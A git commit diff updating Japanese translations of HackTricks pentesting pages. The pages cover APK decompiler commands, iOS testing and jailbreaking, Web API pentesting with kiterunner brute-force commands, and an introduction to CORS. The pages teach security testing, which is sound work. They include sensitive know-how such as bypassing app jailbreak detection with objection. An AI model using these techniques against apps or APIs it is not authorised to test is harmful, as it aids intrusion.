Translated ['mobile-pentesting/android-app-pentesting/apk-decompilers.md

This commit is contained in:
Translator 2024-11-05 18:09:38 +00:00
parent 403c79a5d4
commit 2e0e7324b6
5 changed files with 179 additions and 134 deletions

View file

@ -1,34 +1,33 @@
# APK decompilers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
**各ツールの詳細については、[https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)の元の投稿を確認してください。**
**各ツールの詳細については、元の投稿を確認してください** [**https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr**](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
先駆的なGUI Javaデコンパイラである**JD-Gui**を使用すると、APKファイル内のJavaコードを調査できます。使い方は簡単で、APKを取得したら、JD-Guiで開くだけでコードを確認できます。
先駆的なGUI Javaデコンパイラである**JD-Gui**は、APKファイル内のJavaコードを調査することを可能にします。使い方は簡単で、APKを取得したら、JD-Guiで開いてコードを確認するだけです。
### [Jadx](https://github.com/skylot/jadx)
**Jadx**は、AndroidアプリケーションからJavaコードをデコンパイルするためのユーザーフレンドリーなインターフェースを提供します。異なるプラットフォームでの使いやすさから推奨されています。
- GUIを起動するには、binディレクトリに移動して実行します: `jadx-gui`
- コマンドラインで使用するには、APKをデコンパイルします: `jadx app.apk`
- 出力ディレクトリを指定したり、デコンパイルオプションを調整するには: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
* GUIを起動するには、binディレクトリに移動して実行します: `jadx-gui`
* コマンドラインで使用するには、APKをデコンパイルします: `jadx app.apk`
* 出力ディレクトリを指定したり、デコンパイルオプションを調整するには: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
@ -42,47 +41,48 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**Enjarify**は、DalvikバイトコードをJavaバイトコードに変換し、Java分析ツールがAndroidアプリケーションをより効果的に分析できるようにします。
- Enjarifyを使用するには、次のように実行します: `enjarify app.apk`
これにより、提供されたAPKのJavaバイトコードが生成されます。
* Enjarifyを使用するには、次のように実行します: `enjarify app.apk` これにより、提供されたAPKのJavaバイトコードが生成されます。
### [CFR](https://github.com/leibnitz27/cfr)
**CFR**は、最新のJava機能をデコンパイルすることができます。次のように使用します
**CFR**は、最新のJava機能をデコンパイルすることができます。次のように使用します:
- 標準デコンパイルの場合: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- 大きなJARファイルの場合、JVMメモリ割り当てを調整します: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* 標準デコンパイルの場合: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* 大きなJARファイルの場合、JVMメモリ割り当てを調整します: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**は、分析デコンパイラで、ソースからビルドする必要があります。ビルド後
**Fernflower**は、分析デコンパイラで、ソースからビルドする必要があります。ビルド後:
- JARファイルをデコンパイルします: `java -jar ./fernflower.jar "app.jar" "output_directory"`
次に、生成されたJARから`.java`ファイルを`unzip`を使用して抽出します。
* JARファイルをデコンパイルします: `java -jar ./fernflower.jar "app.jar" "output_directory"` その後、生成されたJARから`.java`ファイルを`unzip`を使用して抽出します。
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau**は、特に外部ライブラリを扱う際に、デコンパイルの詳細な制御を提供します。
- Krakatauを使用するには、標準ライブラリパスとデコンパイルするJARファイルを指定します: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
* Krakatauを使用するには、標準ライブラリパスとデコンパイルするJARファイルを指定します: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
**procyon**を使用して簡単にデコンパイルするには:
**procyon**を使用して簡単にデコンパイルするには:
* JARファイルを指定したディレクトリにデコンパイルします: `procyon -jar "app.jar" -o "output_directory"`
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)
このツールは、メモリ内で実行中のAPKのDEXをダンプするために使用できます。これにより、アプリケーションがメモリ内で実行されている間に削除される静的難読化を打破するのに役立ちます。
- JARファイルを指定したディレクトリにデコンパイルします: `procyon -jar "app.jar" -o "output_directory"`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# iOS Testing Environment
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -14,14 +14,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
{% endhint %}
## Apple Developer Program
**プロビジョニングアイデンティティ**は、Apple開発者アカウントに関連付けられた公開鍵と秘密鍵のコレクションです。**アプリに署名する**には、**99$/年**を支払って**Apple Developer Program**に登録し、プロビジョニングアイデンティティを取得する必要があります。これがないと、物理デバイスでソースコードからアプリケーションを実行することはできません。これを行う別の方法は、**脱獄デバイス**を使用することです。
**プロビジョニングアイデンティティ**は、Apple開発者アカウントに関連付けられた公開鍵と秘密鍵のコレクションです。**アプリに署名する**には、**Apple Developer Program**に登録するために**99$/年**を支払う必要があります。これがないと、物理デバイスでソースコードからアプリケーションを実行することはできません。これを行う別のオプションは、**脱獄デバイス**を使用することです。
Xcode 7.2以降、Appleは実際のiPhoneでアプリケーションを書いてテストすることを可能にする**無料のiOS開発プロビジョニングプロファイル**を作成するオプションを提供しています。_Xcode_ --> _Preferences_ --> _Accounts_ --> _+_あなたの資格情報で新しいアプリIDを追加--> _作成したApple IDをクリック_ --> _Manage Certificates_ --> _+_Apple Development--> _Done_\
\_\_次に、iPhoneでアプリケーションを実行するには、まず**iPhoneにコンピュータを信頼させる必要があります。**その後、Xcodeからモバイルで**アプリケーションを実行しようとしますが、エラーが表示されます。設定に移動して、_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼されていないプロファイルを選択し、**「信頼」**をクリックします。
\_\_次に、iPhoneでアプリケーションを実行するには、まず**iPhoneにコンピュータを信頼させる必要があります。**その後、Xcodeから**モバイルでアプリケーションを実行しようとできますが、エラーが表示されます。**次に、_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼されていないプロファイルを選択し、**「信頼」**をクリックします。
**同じ署名証明書で署名されたアプリケーションは、キーチェーンアイテムのように安全にリソースを共有できます**。
@ -38,7 +37,7 @@ Xcode 7.2以降、Appleは実際のiPhoneでアプリケーションを書いて
最初に知っておくべきことは、**シミュレーター内でのペンテストは、脱獄デバイスで行うよりもはるかに制限される**ということです。
iOSアプリを構築およびサポートするために必要なすべてのツールは、**Mac OSでのみ公式にサポートされています**。\
Appleの事実上のツールは、iOSアプリケーションを作成/デバッグ/計測するための**Xcode**です。これを使用して、アプリを構築および**テスト**するために必要な他のコンポーネント(**シミュレーター**や異なる**SDK** **バージョン**など)をダウンロードできます。\
Appleの事実上のツールは、iOSアプリケーションを作成/デバッグ/インスツルメントするための**Xcode**です。これを使用して、アプリを構築および**テスト**するために必要な**シミュレーター**やさまざまな**SDK** **バージョン**をダウンロードできます。\
**公式アプリストア**からXcodeを**ダウンロード**することを強くお勧めします。他のバージョンにはマルウェアが含まれている可能性があります。
シミュレーターのファイルは`/Users/<username>/Library/Developer/CoreSimulator/Devices`にあります。
@ -67,19 +66,23 @@ Once you know the UID the apps installed within it can be found in `/Users/<user
Corelliumは唯一の公開されているiOSエミュレーターです。これは、ユーザーごとのライセンスモデルを持つ企業向けSaaSソリューションであり、トライアルライセンスは提供されていません。
## ジェイルブレイク不要
**非ジェイルブレイクデバイス**でiOSアプリケーションをペンテストする方法についてのこのブログ投稿をチェックしてください: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
## ジェイルブレイキング
Appleは、iPhone上で実行されるコードが**Appleによって発行された証明書で署名されている必要がある**と厳格に要求しています。**ジェイルブレイキング**は、そのような制限やOSによって設けられた他のセキュリティ制御を**回避する**プロセスです。したがって、デバイスがジェイルブレイクされると、アプリがインストールされているかどうかを確認する**整合性チェック**がパッチされ、**バイパスされます**。
{% hint style="info" %}
Androidとは異なり、iOSではデバイス上で署名されていない/信頼されていないコードを実行するために「開発者モード」に切り替えることはできません。
Androidとは異なり、iOSではデバイス上で署名/信頼されていないコードを実行するために「開発者モード」に切り替えることはできません。
{% endhint %}
### Androidのルート化とiOSのジェイルブレイキング
しばしば比較されますが、Androidの**ルート化**とiOSの**ジェイルブレイキング**は根本的に異なるプロセスです。Androidデバイスのルート化には、**`su`バイナリのインストール**や**ルート化されたカスタムROMへのシステムの置き換え**が含まれることがありますが、ブートローダーがアンロックされていれば必ずしもエクスプロイトを必要としません。**カスタムROMのフラッシュ**は、ブートローダーをアンロックした後にデバイスのOSを置き換え、時にはエクスプロイトが必要です。
しばしば比較されますが、Androidの**ルート化**とiOSの**ジェイルブレイキング**は根本的に異なるプロセスです。Androidデバイスのルート化には、**`su`バイナリのインストール**や**ルート化されたカスタムROMでシステムを置き換える**ことが含まれる場合がありますが、ブートローダーがアンロックされていれば必ずしもエクスプロイトを必要としません。**カスタムROMのフラッシュ**は、ブートローダーをアンロックした後にデバイスのOSを置き換え、時にはエクスプロイトが必要です。
対照的に、iOSデバイスはブートローダーがApple署名のイメージのみをブートする制限のため、カスタムROMをフラッシュすることができません。**iOSのジェイルブレイキング**は、署名されていないコードを実行するためにAppleのコード署名保護を回避することを目的としており、Appleの継続的なセキュリティ強化によって複雑化しています。
対照的に、iOSデバイスはブートローダーがApple署名のイメージのみをブートする制限のため、カスタムROMをフラッシュすることができません。**iOSのジェイルブレイキング**は、未署名のコードを実行するためにAppleのコード署名保護を回避することを目的としており、Appleの継続的なセキュリティ強化によって複雑化しています。
### ジェイルブレイキングの課題
@ -92,21 +95,21 @@ iOSの更新は**チャレンジレスポンスメカニズム**SHSH blobs
* **テザードジェイルブレイク**は、各再起動のためにコンピュータ接続を必要とします。
* **セミテザードジェイルブレイク**は、コンピュータなしで非ジェイルブレイクモードにブートすることを許可します。
* **セミアンテザードジェイルブレイク**は、コンピュータなしで手動で再ジェイルブレイキングを必要とします。
* **アンテザードジェイルブレイク**は、再適用なしで恒久的なジェイルブレイクソリューションを提供します。
* **アンテザードジェイルブレイク**は、再適用なしで永続的なジェイルブレイクソリューションを提供します。
### ジェイルブレイキングツールとリソース
ジェイルブレイキングツールはiOSのバージョンデバイスによって異なります。[Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com)、および[Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)などのリソースは最新の情報を提供します。例としては:
ジェイルブレイキングツールはiOSのバージョンデバイスによって異なります。[Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com)、および[Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)などのリソースは最新の情報を提供します。例としては:
* A7-A11チップデバイス用の[Checkra1n](https://checkra.in/)。
* iOS 15.0-16.5のCheckm8デバイスA8-A11用の[Palera1n](https://palera.in/)。
* iOSバージョン14.8までの[Unc0ver](https://unc0ver.dev/)。
デバイスを変更することにはリスクが伴い、ジェイルブレイキングは慎重に行うべきです。
デバイスの変更にはリスクが伴い、ジェイルブレイキングは慎重に行うべきです。
### ジェイルブレイキングの利点とリスク
ジェイルブレイキングは**OSによって課せられたサンドボックスを解除**、アプリがファイルシステム全体にアクセスできるようにします。この自由により、未承認のアプリのインストールやより多くのAPIへのアクセスが可能になります。しかし、一般ユーザーにとって、ジェイルブレイキングは**推奨されません**。潜在的なセキュリティリスクやデバイスの不安定さがあるためです
ジェイルブレイキングは**OSによって課せられたサンドボックスを解除**、アプリがファイルシステム全体にアクセスできるようにします。この自由により、未承認のアプリのインストールやより多くのAPIへのアクセスが可能になります。しかし、一般ユーザーにとっては、潜在的なセキュリティリスクやデバイスの不安定性のため、ジェイルブレイキングは**推奨されません**
### **ジェイルブレイキング後**
@ -116,29 +119,30 @@ iOSの更新は**チャレンジレスポンスメカニズム**SHSH blobs
### **ジェイルブレイク検出**
**いくつかのアプリケーションは、モバイルがジェイルブレイクされているかどうかを検出しようとし、その場合アプリケーションは実行されません**
**いくつかのアプリケーションは、モバイルがジェイルブレイクされているかどうかを検出し、その場合アプリケーションは実行されません**
* iOSをジェイルブレイクした後、**ファイルとフォルダーが通常インストールされ**、これらを検索してデバイスがジェイルブレイクされているかどうかを判断できます。
* ジェイルブレイクされたデバイスでは、アプリケーションが**サンドボックスの外の新しいファイルに対して読み書きアクセスを得ます**
* 一部の**API** **呼び出し**は**異なる動作をします**
* iOSをジェイルブレイクした後、**ファイルとフォルダーが通常インストールされます**。これらを検索してデバイスがジェイルブレイクされているかどうかを判断できます。
* ジェイルブレイクされたデバイスでは、アプリケーションがサンドボックスの外の新しいファイルに**読み書きアクセス**を得ます。
* 一部の**API** **呼び出し**は**異なる動作**をします。
* **OpenSSH**サービスの存在
* `/bin/sh`を呼び出すと**0ではなく1を返します**
**ジェイルブレイキングを検出する方法についての詳細情報は**[**こちら**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**。**
**ジェイルブレイキングを検出する方法についての詳細情報は** [**こちら**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/) **です。**
この検出を回避するために、**objectionの**`ios jailbreak disable`を使用することができます。
**objectionの** `ios jailbreak disable`を使用してこの検出を回避しようとすることができます。
## **ジェイルブレイク検出バイパス**
* この検出を回避するために、**objectionの**`ios jailbreak disable`を使用することができます。
* また、ツール**Liberty Lite**https://ryleyangus.com/repo/をインストールすることもできます。リポジトリが追加されると、アプリは「検索」タブに表示されるはずです。
* **objectionの** `ios jailbreak disable`を使用してこの検出を回避しようとすることができます。
* **Liberty Lite** (https://ryleyangus.com/repo/)ツールをインストールすることもできます。リポジトリが追加されると、アプリは「検索」タブに表示されるはずです。
## 参考文献
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -150,5 +154,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Web API Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -29,7 +29,7 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
### **Understanding API Types**
* **SOAP/XML Web Services**: WSDL形式のドキュメントを利用し、通常は`?wsdl`パスにあります。**SOAPUI**や**WSDLer**Burp Suite Extensionなどのツールがリクエストの解析と生成に役立ちます。例のドキュメントは[DNE Online](http://www.dneonline.com/calculator.asmx)でアクセス可能です。
* **REST APIs (JSON)**: ドキュメントはWADLファイルで提供されることが多いですが、[Swagger UI](https://swagger.io/tools/swagger-ui/)のようなツールがよりユーザーフレンドリーなインターフェースを提供します。**Postman**は例のリクエストを作成・管理するための貴重なツールです。
* **REST APIs (JSON)**: ドキュメントは通常WADLファイルで提供されますが、[Swagger UI](https://swagger.io/tools/swagger-ui/)のようなツールがよりユーザーフレンドリーなインターフェースを提供します。**Postman**は例のリクエストを作成・管理するための貴重なツールです。
* **GraphQL**: APIのためのクエリ言語で、API内のデータの完全で理解可能な説明を提供します。
### **Practice Labs**
@ -57,15 +57,16 @@ kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
* **automatic-api-attack-tool**、**Astra**、および**restler-fuzzer**のような追加ツールは、攻撃シミュレーションからファジング、脆弱性スキャンまで、APIセキュリティテストのための特化した機能を提供します。
* [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sjは、関連するAPIエンドポイントの弱い認証をチェックすることによって、**公開されたSwagger/OpenAPI定義ファイル**の監査を支援するために設計されたコマンドラインツールです。また、手動の脆弱性テストのためのコマンドテンプレートも提供します。
* **automatic-api-attack-tool**、**Astra**、および**restler-fuzzer**などの追加ツールは、攻撃シミュレーションからファジング、脆弱性スキャンに至るまで、APIセキュリティテストのための特化した機能を提供します。
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OASファイルに基づいてAPIを監査するAPIセキュリティツールですこのツールはRustで書かれています
### **学習と実践リソース**
* **OWASP API Security Top 10**: 一般的なAPIの脆弱性を理解するための必読書です ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf))
* **API Security Checklist**: APIを保護するための包括的なチェックリストです ([GitHub link](https://github.com/shieldfy/API-Security-Checklist))
* **Logger++ Filters**: APIの脆弱性を探すために、Logger++は便利なフィルターを提供します ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters))
* **API Endpoints List**: テスト目的のための潜在的なAPIエンドポイントのキュレーションリストです ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))
* **OWASP API Security Top 10**: 一般的なAPIの脆弱性を理解するための必読書です ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
* **API Security Checklist**: APIを保護するための包括的なチェックリストです ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
* **Logger++ Filters**: APIの脆弱性を探すために、Logger++は便利なフィルターを提供します ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
* **API Endpoints List**: テスト目的のための潜在的なAPIエンドポイントのキュレーションリストです ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## 参考文献
@ -73,14 +74,14 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# CORS - 誤設定とバイパス
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,7 +10,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
@ -23,7 +23,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
Cross-Origin Resource Sharing (CORS)標準は、**サーバーが自分の資産にアクセスできる者を定義し**、**外部ソースから許可されるHTTPリクエストメソッドを定義する**ことを可能にします。
**同一オリジン**ポリシーは、**リソースを要求するサーバー**と**リソース**をホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**80を共有することを義務付けます。このポリシーの下では、同じドメインとポートのウェブページのみがリソースにアクセスできます。
**同一オリジン**ポリシーは、**リソースを要求するサーバー**と**リソースをホストするサーバー**が同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**80を共有することを義務付けます。このポリシーの下では、同じドメインとポートからのウェブページのみがリソースにアクセスできます。
`http://normal-website.com/example/example.html`の文脈における同一オリジンポリシーの適用は以下のように示されます:
@ -42,13 +42,13 @@ Cross-Origin Resource Sharing (CORS)標準は、**サーバーが自分の資産
